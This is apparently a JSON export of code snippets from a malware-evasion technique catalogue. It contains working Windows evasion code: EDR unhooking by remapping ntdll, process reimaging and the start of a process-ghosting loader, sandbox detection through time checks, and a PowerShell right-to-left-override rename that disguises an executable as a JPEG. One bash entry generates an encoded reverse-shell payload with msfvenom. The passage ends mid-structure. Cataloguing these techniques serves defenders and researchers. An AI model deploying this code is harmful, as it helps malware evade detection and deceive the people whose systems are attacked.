            "plain_code": "// This PoC does not handle exceptions, consider handling exception if used it in production.\r\nprogram NamedPipes;\r\n\r\nuses Winapi.Windows,\r\n     System.SysUtils,\r\n     System.Classes;\r\n\r\nconst PIPE_NAME           = 'NamedPipeExample';\r\n      SERVER_MACHINE_NAME = '.'; // `.` = Local Machine\r\n\r\nvar SERVER_LISTENING_EVENT : THandle;\r\n\r\nType\r\n  TCommand = (\r\n    cmdPing,\r\n    cmdPong,\r\n    cmdExit\r\n  );\r\n\r\n  TServer = class(TThread)\r\n  protected\r\n    {@M}\r\n    procedure Execute(); override;\r\n  end;\r\n\r\n  TClient = class(TThread)\r\n  protected\r\n    {@M}\r\n    procedure Execute(); override;\r\n  end;\r\n\r\n(* Local *)\r\n\r\n{ _.PIPE_WriteInteger\r\n  Write to named pipe a signed integer (4 bytes), since in our example, named pipe has\r\n  a buffer of 2 bytes, we must split our signed integer to two words }\r\nprocedure PIPE_WriteInteger(const hPipe : THandle; const AValue : Integer);\r\nvar wLow, wHigh   : Word;\r\n    ABytesWritten : Cardinal;\r\nbegin\r\n  wLow  := Word(AValue and $FFFF);\r\n  wHigh := Word(AValue shr 16);\r\n  ///\r\n\r\n  WriteFile(hPipe, wLow, SizeOf(Word), ABytesWritten, nil);\r\n  WriteFile(hPipe, wHigh, SizeOf(Word), ABytesWritten, nil);\r\nend;\r\n\r\n{ _.PIPE_ReadInteger\r\n Reconstruct signed integer from two words }\r\nfunction PIPE_ReadInteger(const hPipe : THandle) : Integer;\r\nvar wLow, wHigh : Word;\r\n    dwBytesRead : Cardinal;\r\nbegin\r\n  result := -1;\r\n  ///\r\n\r\n  ReadFile(hPipe, wLow, SizeOf(Word), dwBytesRead, nil);\r\n  ReadFile(hPipe, wHigh, SizeOf(Word), dwBytesRead, nil);\r\n\r\n  ///\r\n  result := wLow or (wHigh shl 16);\r\nend;\r\n\r\n{ _.PIPE_WriteLine\r\nWrite to NamedPipe and append a CRLF to signify end of buffer }\r\nprocedure PIPE_WriteLine(const hPipe : THandle; AMessage : String);\r\nvar ABytesWritten : Cardinal;\r\n    i             : Cardinal;\r\nbegin\r\n  AMessage := Trim(AMessage) + #13#10;\r\n  ///\r\n\r\n  for I := 1 to Length(AMessage) do begin\r\n    // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile?WT_mc_id=SEC-MVP-5005282\r\n    if not WriteFile(\r\n      hPipe,\r\n      AMessage[I],\r\n      SizeOf(WideChar),\r\n      ABytesWritten,\r\n      nil\r\n    ) then\r\n      break;\r\n  end;\r\nend;\r\n\r\n{ _.PIPE_ReadLine\r\nRead NamedPipe Buffer until CRLF is reached }\r\nfunction PIPE_ReadLine(const hPipe : THandle) : String;\r\nvar ABuffer     : WideChar;\r\n    dwBytesRead : Cardinal;\r\n    CR          : Boolean;\r\n    LF          : Boolean;\r\nbegin\r\n  result := '';\r\n  ///\r\n\r\n  CR := False;\r\n  LF := False;\r\n\r\n  while True do begin\r\n    // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-readfile?WT_mc_id=SEC-MVP-5005282\r\n    if not ReadFile(hPipe, ABuffer, SizeOf(ABuffer), dwBytesRead, nil) then\r\n      break;\r\n\r\n    case ABuffer of\r\n      #13 : CR := True;\r\n      #10 : LF := True;\r\n    end;\r\n\r\n    if CR and LF then\r\n      break;\r\n\r\n    ///\r\n    result := result + ABuffer;\r\n  end;\r\nend;\r\n\r\n(* TServer *)\r\n\r\n{ TServer.Execute }\r\nprocedure TServer.Execute();\r\nvar hPipe : THandle;\r\nbegin\r\n  hPipe := INVALID_HANDLE_VALUE;\r\n  try\r\n    // https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-createnamedpipew?WT_mc_id=SEC-MVP-5005282\r\n    hPipe := CreateNamedPipeW(\r\n      PWideChar(Format('\\\\.\\pipe\\%s', [PIPE_NAME])),\r\n      PIPE_ACCESS_DUPLEX,\r\n      PIPE_TYPE_MESSAGE or PIPE_READMODE_MESSAGE or PIPE_WAIT,\r\n      1,\r\n      SizeOf(WideChar),\r\n      SizeOf(WideChar),\r\n      NMPWAIT_USE_DEFAULT_WAIT,\r\n      nil\r\n    );\r\n\r\n    if hPipe = INVALID_HANDLE_VALUE then\r\n      Exit();\r\n\r\n    SetEvent(SERVER_LISTENING_EVENT); // Signal we are listening for named pipe client\r\n\r\n    while (not Terminated) do begin\r\n      // https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe?WT_mc_id=SEC-MVP-5005282\r\n      if not ConnectNamedPipe(hPipe, nil) then\r\n        continue;\r\n      try\r\n        while (not Terminated) do begin\r\n          case TCommand(PIPE_ReadInteger(hPipe)) of\r\n            cmdPing : PIPE_WriteLine(hPIpe, Format('Pong: %d', [GetTickCount()]));\r\n\r\n            else begin\r\n              WriteLn('Bye!');\r\n\r\n              break;\r\n            end;\r\n          end;\r\n        end;\r\n\r\n        WriteLn(PIPE_ReadLine(hPipe));\r\n      finally\r\n        // https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-disconnectnamedpipe?WT_mc_id=SEC-MVP-5005282\r\n        DisconnectNamedPipe(hPipe);\r\n      end;\r\n    end;\r\n  finally\r\n    if hPipe <> INVALID_HANDLE_VALUE then\r\n      // https://learn.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle?WT_mc_id=SEC-MVP-5005282\r\n      CloseHandle(hPipe);\r\n\r\n    ///\r\n    ExitThread(0);\r\n  end;\r\nend;\r\n\r\n(* TClient *)\r\n\r\n{ TClient.Execute\r\n\r\n  An alternative to CreateFileW + WriteFile would be to use:\r\n    - https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-callnamedpipew?WT_mc_id=SEC-MVP-5005282\r\n}\r\nprocedure TClient.Execute();\r\nvar hPipe : THandle;\r\nbegin\r\n  hPipe := INVALID_HANDLE_VALUE;\r\n  try\r\n    // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew?WT_mc_id=SEC-MVP-5005282\r\n    hPipe := CreateFileW(\r\n      PWideChar(Format('\\\\%s\\pipe\\%s', [\r\n        SERVER_MACHINE_NAME,\r\n        PIPE_NAME\r\n      ])),\r\n      GENERIC_READ or GENERIC_WRITE,\r\n      0,\r\n      nil,\r\n      OPEN_EXISTING,\r\n      0,\r\n      0\r\n    );\r\n\r\n    if hPipe = INVALID_HANDLE_VALUE then\r\n      Exit();\r\n\r\n    PIPE_WriteInteger(hPipe, Integer(TCommand.cmdPing));\r\n\r\n    WriteLn(PIPE_ReadLine(hPipe));\r\n\r\n    PIPE_WriteInteger(hPipe, Integer(TCommand.cmdExit));\r\n  finally\r\n    if hPipe <> INVALID_HANDLE_VALUE then\r\n      // https://learn.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle?WT_mc_id=SEC-MVP-5005282\r\n      CloseHandle(hPipe);\r\n\r\n    ///\r\n    ExitThread(0);\r\n  end;\r\nend;\r\n\r\n(* _.EntryPoint *)\r\n\r\nvar Server : TServer;\r\n    Client : TClient;\r\n\r\nbegin\r\n  AllocConsole();\r\n  ///\r\n\r\n  // Create a event to signal when named pipe server is successfully listening for\r\n  // Namedpipe clients.\r\n  // When event is signaled, we can start our named pipe client thread.\r\n  SERVER_LISTENING_EVENT := CreateEvent(nil, False, False, nil);\r\n  if SERVER_LISTENING_EVENT = 0 then\r\n    Exit();\r\n  try\r\n    // Launch NamedPipe Server\r\n    Server := TServer.Create();\r\n\r\n    ///\r\n    WaitForSingleObject(SERVER_LISTENING_EVENT, INFINITE);\r\n  finally\r\n    CloseHandle(SERVER_LISTENING_EVENT);\r\n  end;\r\n\r\n  // Launch NamedPipe Client\r\n  Client := TClient.Create();\r\n\r\n  // Wait for Threads end\r\n  Client.WaitFor();\r\n  Server.WaitFor();\r\n\r\nend."
        },
        {
            "id": 205,
            "language": {
                "id": 9,
                "label": "C#",
                "code_class": "csharp"
            },
            "author": {
                "id": 1,
                "name": "Jean-Pierre LESUEUR",
                "email": "jplesueur@phrozen.io",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/357/?format=api",
            "description": "This code snippet demonstrates how to use Named Pipes in .NET for sending commands and receiving their results. In this example, the named pipe client requests a list of running processes from the named pipe server, which then returns the requested list. It's important to note that this snippet combines both the client and server code for demonstration purposes. In a real-world scenario, the client and server should be separated into two distinct applications and preferably run on two remote systems.",
            "plain_code": "// This example demonstrates how to use named pipes to route commands to a server and retrieve the corresponding responses.\r\n\r\nusing System.Diagnostics;\r\nusing System.IO.Pipes;\r\nusing System.Text;\r\n\r\nclass Program\r\n{\r\n    public enum Command\r\n    {\r\n        ProcessList,\r\n        Exit,\r\n    }\r\n\r\n    const string pipeName = \"NamedPipeExample\";\r\n\r\n    public static void Main(string[] args)\r\n    {               \r\n        Thread namedPipeServerThread = new(() =>\r\n        {\r\n            try\r\n            {\r\n                // https://learn.microsoft.com/en-us/dotnet/api/system.io.pipes.namedpipeserverstream?view=net-7.0?WT_mc_id=SEC-MVP-5005282\r\n                using NamedPipeServerStream serverPipe = new(pipeName, PipeDirection.InOut);\r\n\r\n                serverPipe.WaitForConnection();\r\n\r\n                using StreamReader reader = new(serverPipe);\r\n                using StreamWriter writer = new(serverPipe) { AutoFlush = true };\r\n                ///\r\n\r\n                while (true)\r\n                {\r\n                    switch(Enum.Parse(typeof(Command), reader.ReadLine() ?? \"\"))\r\n                    {\r\n                        case Command.ProcessList:\r\n                            {\r\n                                StringBuilder sb = new();\r\n\r\n                                foreach (Process process in Process.GetProcesses())                                \r\n                                    sb.AppendLine($\"({process.Id.ToString().PadRight(5, ' ')}){process.ProcessName}\");\r\n                                \r\n                                // Encode as Base64 to send to whole list in one single `WriteLine`\r\n                                writer.WriteLine(Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(sb.ToString())));\r\n\r\n                                break;\r\n                            }\r\n                        default:\r\n                            {\r\n                                // Exit or unknown or empty string.\r\n                                break;\r\n                            }\r\n                    }\r\n                }\r\n            }\r\n            catch { }\r\n        });\r\n        namedPipeServerThread.Start();\r\n\r\n        Thread namedPipeClientThread = new(() =>\r\n        {\r\n            try\r\n            {\r\n                // `.` means local machine, it can be replaced by the network computer name hosting a the named pipe server.\r\n                // https://learn.microsoft.com/en-us/dotnet/api/system.io.pipes.namedpipeclientstream?view=net-7.0?WT_mc_id=SEC-MVP-5005282\r\n                using NamedPipeClientStream clientPipe = new(\".\", pipeName, PipeDirection.InOut);\r\n\r\n                clientPipe.Connect();\r\n\r\n                using StreamReader reader = new(clientPipe);\r\n                using StreamWriter writer = new(clientPipe) { AutoFlush = true };\r\n                ///\r\n\r\n                // Ask server for running process\r\n                writer.WriteLine(Command.ProcessList);\r\n\r\n                // Receive response\r\n                string? response = reader.ReadLine();  \r\n                if (response != null)\r\n                    Console.WriteLine(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(response)));                \r\n\r\n                // Tell server, we finished our job\r\n                writer.WriteLine(Command.Exit);\r\n            }\r\n            catch { }\r\n        });\r\n        namedPipeClientThread.Start();\r\n\r\n        ///\r\n        namedPipeServerThread.Join();\r\n        namedPipeClientThread.Join();        \r\n    }\r\n}"
        },
        {
            "id": 204,
            "language": {
                "id": 8,
                "label": "PowerShell",
                "code_class": "PowerShell"
            },
            "author": {
                "id": 1,
                "name": "Jean-Pierre LESUEUR",
                "email": "jplesueur@phrozen.io",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/356/?format=api",
            "description": "In this example `malware.exe` becomes `Annexe.jpeg` but keeps its executable properties.",
            "plain_code": "Rename-Item -Path malware.exe -NewName (\"Ann\" + ( [char]0x202E) + \"gepj.exe\")"
        },
        {
            "id": 203,
            "language": {
                "id": 4,
                "label": "Golang",
                "code_class": "golang"
            },
            "author": {
                "id": 25,
                "name": "Edode",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/clisandro",
                "twitter": "https://twitter.com/Edode_",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/349/?format=api",
            "description": "",
            "plain_code": "package main\r\n\r\nimport (\r\n\t\"time\"\r\n\t\"net\"\r\n\t\"encoding/binary\"\r\n\t\"net/http\"\r\n\t\"fmt\"\r\n\t\"math\"\r\n)\r\n\r\nfunc isConnected() bool {\r\n\t_, err := http.Get(\"http://1.1.1.1\")\r\n\tif err == nil {\r\n\t\treturn true\r\n\t}\r\n\treturn false\r\n}\r\n\r\nfunc getNtpTime() time.Time {\r\n\ttype ntp struct {\r\n\t\tFirstByte, A, B, C uint8\r\n\t\tD, E, F            uint32\r\n\t\tG, H               uint64\r\n\t\tReceiveTime        uint64\r\n\t\tJ                  uint64\r\n\t}\r\n\tsock, _ := net.Dial(\"udp\", \"us.pool.ntp.org:123\")\r\n\tsock.SetDeadline(time.Now().Add((2 * time.Second)))\r\n\tdefer sock.Close()\r\n\ttransmit := new(ntp)\r\n\ttransmit.FirstByte = 0x1b\r\n\tbinary.Write(sock, binary.BigEndian, transmit)\r\n\tbinary.Read(sock, binary.BigEndian, transmit)\r\n\treturn time.Date(1900, 1, 1, 0, 0, 0, 0, time.UTC).Add(time.Duration(((transmit.ReceiveTime >> 32) * 1000000000)))\r\n}\r\n\r\nfunc evadeTimeAcceleration() bool {\r\n\tvar maxIdleTime int = 3\r\n\r\n\tif isConnected() {\r\n\t\tfirstTime := getNtpTime()\r\n\t\ttime.Sleep(time.Duration(maxIdleTime*1000) * time.Millisecond)\r\n\t\tsecondTime := getNtpTime()\r\n\r\n\t\tif secondTime.Sub(firstTime).Seconds() > float64(maxIdleTime) {\r\n\t\t\treturn true\r\n\t\t}\r\n\t} else {\r\n\t\tfirstTime := time.Now()\r\n\t\ttime.Sleep(time.Duration(maxIdleTime*1000) * time.Millisecond)\r\n\r\n\t\t// math.Floor is used to compensate for processor ticks that is a few micro-seconds\r\n\t\tif math.Floor(time.Since(firstTime).Seconds()) > float64(maxIdleTime) {\r\n\t\t\treturn true\r\n\t\t}\r\n\t}\r\n\treturn false\r\n}\r\n\r\nfunc main() () {\r\n\tif evadeTimeAcceleration() {\r\n\t\tfmt.Println(\"Sandbox detected\")\r\n\t} else {\r\n\t\tfmt.Println(\"Sandbox not detected\")\r\n\t}\r\n}"
        },
        {
            "id": 202,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 16,
                "name": "External",
                "email": null,
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/355/?format=api",
            "description": "",
            "plain_code": "#include \"pch.h\"\r\n#include <iostream>\r\n#include <Windows.h>\r\n#include <winternl.h>\r\n#include <psapi.h>\r\n\r\n// Source : https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++\r\n\r\nint main()\r\n{\r\n    // Get handle to self\r\n\tHANDLE process = GetCurrentProcess();\r\n\tMODULEINFO mi = {};\r\n\r\n    // Get handle to ntdll.dll\r\n\tHMODULE ntdllModule = GetModuleHandleA(\"ntdll.dll\");\r\n\r\n    // Parse ntdll.dll from disk\r\n\tGetModuleInformation(process, ntdllModule, &mi, sizeof(mi));\r\n\tLPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;\r\n\tHANDLE ntdllFile = CreateFileA(\"c:\\\\windows\\\\system32\\\\ntdll.dll\", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);\r\n\tHANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);\r\n\tLPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);\r\n\r\n\tPIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;\r\n\tPIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);\r\n\r\n\tfor (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {\r\n\t\tPIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));\r\n\t\t// Update .text section\r\n\t\tif (!strcmp((char*)hookedSectionHeader->Name, (char*)\".text\")) {\r\n\t\t\tDWORD oldProtection = 0;\r\n\t\t\tbool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);\r\n\t\t\tmemcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);\r\n\t\t\tisProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);\r\n\t\t}\r\n\t}\r\n\r\n\tCloseHandle(process);\r\n\tCloseHandle(ntdllFile);\r\n\tCloseHandle(ntdllMapping);\r\n\tFreeLibrary(ntdllModule);\r\n\r\n\treturn 0;\r\n}"
        },
        {
            "id": 201,
            "language": {
                "id": 12,
                "label": "bash",
                "code_class": "bash"
            },
            "author": {
                "id": 28,
                "name": "Dreamkinn",
                "email": null,
                "linkedin": null,
                "twitter": "https://twitter.com/dreamkinn",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/354/?format=api",
            "description": "",
            "plain_code": "#!/bin/bash\r\n\r\n# Generate SGN-encoded 32-bit shellcode using msfvenom\r\nmsfvenom -p windows/shell_reverse_tcp -e x86/shikata_ga_nai\r\n\r\n# Generate 64-bit SGN-encoded shellcode using the sgn binary\r\nsgn -a 64 shellcode.bin"
        },
        {
            "id": 200,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 27,
                "name": "一半人生",
                "email": null,
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": "https://github.com/TimelifeCzy"
            },
            "technique": "https://unprotect.it/api/techniques/146/?format=api",
            "description": "",
            "plain_code": "/*\r\n*  Use: process_reimaging.exe x:\\xxx\\bad.exe x:\\xxx\\white.exe\r\n*/\r\n#include <Windows.h>\r\n#include <iostream>\r\n#include <string>\r\n\r\nconst bool CGetCurrentDirectory(std::string& strDirpath)\r\n{\r\n\tchar szModule[1024] = { 0, };\r\n\tGetModuleFileNameA(NULL, szModule, sizeof(szModule) / sizeof(char));\r\n\tstrDirpath = szModule;\r\n\tif (0 >= strDirpath.size())\r\n\t{\r\n\t\tOutputDebugString(L\"GetModuleFileNameA Error\");\r\n\t\treturn 0;\r\n\t}\r\n\tsize_t offset = strDirpath.rfind(\"\\\\\");\r\n\tif (0 >= offset)\r\n\t{\r\n\t\tOutputDebugString(L\"GetModuleFileNameA Size < 0\");\r\n\t\treturn 0;\r\n\t}\r\n\tstrDirpath = strDirpath.substr(0, offset + 1);\r\n\treturn true;\r\n}\r\n\r\nint main(int argc, char* argv[])\r\n{\r\n\tif (argc < 3) {\r\n\t\tstd::cout << \"[-] Parameter Path Error...\" << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tconst std::string sBadExePath = argv[1];\r\n\tif (sBadExePath.empty()) {\r\n\t\tstd::cout << \"[-] Parameter badExe Path Error...\" << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tconst std::string sWhiteExePath = argv[2];\r\n\tif (sWhiteExePath.empty()) {\r\n\t\tstd::cout << \"[-] Parameter WhiteExe Path Error...\" << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\t// 1. create bad.exe directory && createprocess bad.exe\r\n\tstd::string strCurrentDir = \"\";\r\n\tCGetCurrentDirectory(strCurrentDir);\r\n\tif (strCurrentDir.empty())\r\n\t\tstrCurrentDir = \"C:\\\\Windows\\\\\";\r\n\tconst std::string strBadOldDirPath = (strCurrentDir + \"Bad\").c_str();\r\n\tint res = CreateDirectoryA(strBadOldDirPath.c_str(), NULL);\r\n\tif ((res == 0) && !(GetLastError() == ERROR_ALREADY_EXISTS)) {\r\n\t\tstd::cout << \"[-] Error creating directory: \" << strBadOldDirPath.c_str() << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tconst std::string strBadExeFullPath = (strBadOldDirPath + \"\\\\bad.exe\").c_str();\r\n\tBOOL boolRes = CopyFileA(sBadExePath.c_str(), strBadExeFullPath.c_str(), FALSE);\r\n\tif (!boolRes) {\r\n\t\tstd::cout << \"[-] Could not copy \" << sBadExePath << \" to \" << strBadExeFullPath << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tSTARTUPINFOA si = { sizeof(si) };\r\n\tPROCESS_INFORMATION pi;\r\n\tres = CreateProcessA(NULL, (LPSTR)strBadExeFullPath.c_str(), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);\r\n\tif (res == 0) {\r\n\t\tDWORD err = GetLastError();\r\n\t\tstd::cout << \"[-] Error creating process: \" << err << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\tif (pi.hProcess) {\r\n\t\tCloseHandle(pi.hProcess);\r\n\t}\r\n\tif (pi.hThread) {\r\n\t\tCloseHandle(pi.hThread);\r\n\t}\r\n\r\n\t// 2. rename bad.exe directory path to new directory\r\n\tconst std::string strNewBadDirFullPath = (strCurrentDir + \".Bad\").c_str();\r\n\tboolRes = MoveFileA(strBadOldDirPath.c_str(), strNewBadDirFullPath.c_str());\r\n\tif (!boolRes) {\r\n\t\tDWORD err = GetLastError();\r\n\t\tstd::cout << \"[-] Failed to move file to hidden directory:\" << err << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\t// 3. create old bad.exe directory & copy  white.exe\r\n\tres = CreateDirectoryA(strBadOldDirPath.c_str(), NULL);\r\n\tif ((res == 0) && !(GetLastError() == ERROR_ALREADY_EXISTS)) {\r\n\t\tstd::cout << \"[-] Error creating directory: \" << strBadOldDirPath.c_str() << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tboolRes = CopyFileA(sWhiteExePath.c_str(), strBadExeFullPath.c_str(), FALSE);\r\n\tif (!boolRes) {\r\n\t\tstd::cout << \"[-] Could not copy \" << sBadExePath << \" to \" << strBadOldDirPath << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\treturn 0;\r\n}"
        },
        {
            "id": 199,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 27,
                "name": "一半人生",
                "email": null,
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": "https://github.com/TimelifeCzy"
            },
            "technique": "https://unprotect.it/api/techniques/171/?format=api",
            "description": "",
            "plain_code": "/*\r\n*  Use: process_ghosting.exe x:\\xxx\\payload.dat x:\\xxx\\payload.exe\r\n*/\r\n#include <Windows.h>\r\n#include <winternl.h>\r\n#include <iostream>\r\n#include <string>\r\n#include <atlconv.h>\r\n#include <UserEnv.h>\r\n#pragma comment(lib, \"Ntdll.lib\")\r\n#pragma comment(lib, \"Userenv.lib\")\r\n\r\ntypedef LONG KPRIORITY;\r\n#define GDI_HANDLE_BUFFER_SIZE      34\r\n#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001\r\n#ifndef NT_SUCCESS\r\n\t#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)\r\n#endif\r\n\r\ntypedef struct _CURDIR\r\n{\r\n\tUNICODE_STRING DosPath;\r\n\tHANDLE Handle;\r\n\r\n} CURDIR, * PCURDIR;\r\n\r\ntypedef struct _RTL_DRIVE_LETTER_CURDIR\r\n{\r\n\tUSHORT Flags;\r\n\tUSHORT Length;\r\n\tULONG  TimeStamp;\r\n\tSTRING DosPath;\r\n\r\n} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;\r\n\r\ntypedef struct _PEB_FREE_BLOCK\r\n{\r\n\tstruct _PEB_FREE_BLOCK* Next;\r\n\tULONG Size;\r\n\r\n} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;\r\n\r\ntypedef struct _PEB_\r\n{\r\n\tBOOLEAN InheritedAddressSpace;      // These four fields cannot change unless the\r\n\tBOOLEAN ReadImageFileExecOptions;   //\r\n\tBOOLEAN BeingDebugged;              //\r\n\tBOOLEAN SpareBool;                  //\r\n\tHANDLE Mutant;                      // INITIAL_PEB structure is also updated.\r\n\r\n\tPVOID ImageBaseAddress;\r\n\tPPEB_LDR_DATA Ldr;\r\n\tPRTL_USER_PROCESS_PARAMETERS ProcessParameters;\r\n\tPVOID SubSystemData;\r\n\tPVOID ProcessHeap;\r\n\tPRTL_CRITICAL_SECTION FastPebLock;\r\n\tPVOID FastPebLockRoutine;\r\n\tPVOID FastPebUnlockRoutine;\r\n\tULONG EnvironmentUpdateCount;\r\n\tPVOID KernelCallbackTable;\r\n\tHANDLE SystemReserved;\r\n\tPVOID  AtlThunkSListPtr32;\r\n\tPPEB_FREE_BLOCK FreeList;\r\n\tULONG TlsExpansionCounter;\r\n\tPVOID TlsBitmap;\r\n\tULONG TlsBitmapBits[2];         // relates to TLS_MINIMUM_AVAILABLE\r\n\tPVOID ReadOnlySharedMemoryBase;\r\n\tPVOID ReadOnlySharedMemoryHeap;\r\n\tPVOID* ReadOnlyStaticServerData;\r\n\tPVOID AnsiCodePageData;\r\n\tPVOID OemCodePageData;\r\n\tPVOID UnicodeCaseTableData;\r\n\r\n\t//\r\n\t// Useful information for LdrpInitialize\r\n\r\n\tULONG NumberOfProcessors;\r\n\tULONG NtGlobalFlag;\r\n\r\n\t//\r\n\t// Passed up from MmCreatePeb from Session Manager registry key\r\n\t//\r\n\r\n\tLARGE_INTEGER CriticalSectionTimeout;\r\n\tULONG HeapSegmentReserve;\r\n\tULONG HeapSegmentCommit;\r\n\tULONG HeapDeCommitTotalFreeThreshold;\r\n\tULONG HeapDeCommitFreeBlockThreshold;\r\n\r\n\t//\r\n\t// Where heap manager keeps track of all heaps created for a process\r\n\t// Fields initialized by MmCreatePeb.  ProcessHeaps is initialized\r\n\t// to point to the first free byte after the PEB and MaximumNumberOfHeaps\r\n\t// is computed from the page size used to hold the PEB, less the fixed\r\n\t// size of this data structure.\r\n\t//\r\n\r\n\tULONG NumberOfHeaps;\r\n\tULONG MaximumNumberOfHeaps;\r\n\tPVOID* ProcessHeaps;\r\n\r\n\t//\r\n\t//\r\n\tPVOID GdiSharedHandleTable;\r\n\tPVOID ProcessStarterHelper;\r\n\tPVOID GdiDCAttributeList;\r\n\tPVOID LoaderLock;\r\n\r\n\t//\r\n\t// Following fields filled in by MmCreatePeb from system values and/or\r\n\t// image header. These fields have changed since Windows NT 4.0,\r\n\t// so use with caution\r\n\t//\r\n\r\n\tULONG OSMajorVersion;\r\n\tULONG OSMinorVersion;\r\n\tUSHORT OSBuildNumber;\r\n\tUSHORT OSCSDVersion;\r\n\tULONG OSPlatformId;\r\n\tULONG ImageSubsystem;\r\n\tULONG ImageSubsystemMajorVersion;\r\n\tULONG ImageSubsystemMinorVersion;\r\n\tULONG ImageProcessAffinityMask;\r\n\tULONG GdiHandleBuffer[GDI_HANDLE_BUFFER_SIZE];\r\n\r\n} PEB_, * PPEB_;\r\n\r\ntypedef enum _FILE_INFORMATION_CLASS_\r\n{\r\n\tFileDirectoryInformation_ = 1,\r\n\tFileFullDirectoryInformation,   // 2\r\n\tFileBothDirectoryInformation,   // 3\r\n\tFileBasicInformation,           // 4  wdm\r\n\tFileStandardInformation,        // 5  wdm\r\n\tFileInternalInformation,        // 6\r\n\tFileEaInformation,              // 7\r\n\tFileAccessInformation,          // 8\r\n\tFileNameInformation,            // 9\r\n\tFileRenameInformation,          // 10\r\n\tFileLinkInformation,            // 11\r\n\tFileNamesInformation,           // 12\r\n\tFileDispositionInformation,     // 13\r\n\tFilePositionInformation,        // 14 wdm\r\n\tFileFullEaInformation,          // 15\r\n\tFileModeInformation,            // 16\r\n\tFileAlignmentInformation,       // 17\r\n\tFileAllInformation,             // 18\r\n\tFileAllocationInformation,      // 19\r\n\tFileEndOfFileInformation,       // 20 wdm\r\n\tFileAlternateNameInformation,   // 21\r\n\tFileStreamInformation,          // 22\r\n\tFilePipeInformation,            // 23\r\n\tFilePipeLocalInformation,       // 24\r\n\tFilePipeRemoteInformation,      // 25\r\n\tFileMailslotQueryInformation,   // 26\r\n\tFileMailslotSetInformation,     // 27\r\n\tFileCompressionInformation,     // 28\r\n\tFileObjectIdInformation,        // 29\r\n\tFileCompletionInformation,      // 30\r\n\tFileMoveClusterInformation,     // 31\r\n\tFileQuotaInformation,           // 32\r\n\tFileReparsePointInformation,    // 33\r\n\tFileNetworkOpenInformation,     // 34\r\n\tFileAttributeTagInformation,    // 35\r\n\tFileTrackingInformation,        // 36\r\n\tFileIdBothDirectoryInformation, // 37\r\n\tFileIdFullDirectoryInformation, // 38\r\n\tFileValidDataLengthInformation, // 39\r\n\tFileShortNameInformation,       // 